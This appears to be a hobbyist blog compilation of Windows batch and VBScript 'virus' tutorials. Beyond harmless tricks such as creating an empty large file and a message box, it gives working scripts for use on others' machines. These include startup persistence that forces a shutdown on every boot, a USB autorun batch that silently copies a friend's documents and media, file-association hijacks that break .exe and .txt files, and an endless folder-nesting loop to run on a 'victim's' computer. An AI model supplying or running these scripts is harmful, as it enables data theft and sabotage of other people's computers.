Trick To Create A Empty Huge File

"Is it possible that a empty file can be huge as 1 million bytes.."?
Yes, off course its possible.You can create a file of any desired size by using the utilities provided by Windows.

So here's the step by step guide to create a Empty Huge File.

First we have to convert the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this. To use Windows calculator in scientific mode: Open calculator,click on view and select Scientific instead of Simple.
Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)
Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.
Open Command prompt by typing "cmd" in Run.
Type Command "Debug BIGFILE.DAT" without Quotes.And Ignore the File not found message.
Type RCX and press Enter. Now Debug utility will display a colon prompt.
Enter the last four digits of the hexadecimal number you calculated,For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 4240.
Type RBX and press Enter,Then Enter the First four digits of the hexadecimal number you calculated, For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 000F.
Enter W for Write and Q for Quit.

You have just created a Empty file of 1 million bytes..You can create empty files of any size by following these easy steps.

Virus on Startup

Warning!!!!
This virus is very dangerous so i never recommend you to run these viruses on your system.

Using this post you can add your own created viruses into start ups this will make it difficult to detect them and to remove them ...

1) For this u can use the simple code below ..

       @echo off
       copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
and then rest of the code ..

2) Suppose u want to make a shutdown.bat a virus which will copy itself in start up n whenever computer starts it will shut down it in 2 secs..most dangerous kind of thing better to make create restore point before working with such files..

      @echo off
        copy "abcd.bat" "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

       @echo off
        shutdown -s -t 5 -c "Shutdown"
save it as abcd.bat when ever u will run it it will be saved in ur start ups..

here t 5 means that ur comp will take5 secs to shut down u can make it 2 as well then it will be most dangerous thing to handle ..

Changing Associations

This Virus will:

1. End Process, NAVAPSVC.exe
2. End Process, Explorer.exe (taskbar and icons will dissapear)
3. End Process, zonelabs.exe
4. associate a exe file with txt (when opening exe files, it will go to notepad)
5. associate a txt file with mp3 (when opening txt files, it will open WinAmp or WMP)
6. Deletes Login/Logoff Screens

Steps to do this are:-
1. Open Notepad ( Search it in start menu )

How To Make A Virus Message Box

I'm going to teach you how to make a message box. All you need is Notepad. If you have any comments, feel free to post them. Just start learning and have fun!

First, open Notepad and type this:

x=msgbox(box text,buttons,box title)

On the part where it says "box text", type the text you want on the window (with quotation marks). On the "box title", type the title of the message box the same way you typed the text. On "buttons" type a number (without quotation marks):

0: Normal message box
1: OK and Cancel
2: Abort, Retry, Ignore
3: Yes, No, Cancel
4: Yes and No
5: Retry and Cancel
16: Critical message icon
32: Warning query icon
48: Warning message icon
64: Information message icon
4096: Always stay on top of the desktop

Example:
x=msgbox("You are so infected",32,"Fake Virus 2012")

When you're done, save it as a VBS(or VBScript)file. To do this, type ".vbs" at the end of the title and change the "Text Document (*txt)" in the "Save as type" select box to "All Files" .

Example:
File name: Fake_Virus.vbs
Save as type: All Files"

How to Steal people files using usb drive

I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.

When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).

Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.

Here goes the batch code:

@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR

:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit

:ERROR
exit

What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.

Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.

This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.

Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.

Case COPIER will execute when the program recognizes it is Windows XP, where the real copying work goes o.

Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.

This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.

Now let’s create a file that will load it automatically.

[autorun]
Open=Filename.bat
Action=File Copier

he above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.

Copy the two files, autorun.inf and Filename.bat in your flash drive.

Then plug in your device to your friends PC and do the evil things.

Where is the flaw?

It shows Command prompt window and process of copying.
Another thing is that it determines the windows by searching the file users and Documents and settings, which is not the right way to determine your system operating system.

However this is just an educational tutorial.

Hope this tutorial was helpful.

Screen flashes random colors

THREATEN BY MAKING SCREEN FLASH
To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.
Here are the steps:-
1. Open Notepad ( Search it in start menu )
2. Now simply copy and paste the below script into the notepad.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg

But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.

@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a

Ext_change Virus

Here in this article i came with Extension changer virus today i am gonna showing you how to change an Extension of an files.

What is Extension changer ?
Assume that all images (*.jpeg, Gif etc) are by default opening with "Windows Picture and Fax Viewer" but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code
@echo off
                        assoc .txt=jpegfile
                        assoc .exe=htmlfile

The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….

Folder Replicator Batch virus

I gonna show you how to make a batch file that creates a folder inside a folder & so on..
I know all of them are interested in making virus so once again i came up with new virus(not a virus but it's a batch file). Here is a Simple batch virus that contains only 6 lines, has the tendency to replicate itself again and again and keeps on creating a folder with same name, until a user stops it.

1. Just open up a notepad, copy and paste the below code
                         cd\
                         cd C:\Documents and Settings\username\Desktop
                         :loop
                         md Virus
                         cd Virus
                         goto loop
2. Save it as folder.bat, before doing that you have to modify the code by changing the place where it says ‘username’ and instead of that replace it by the currently logged in username.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.
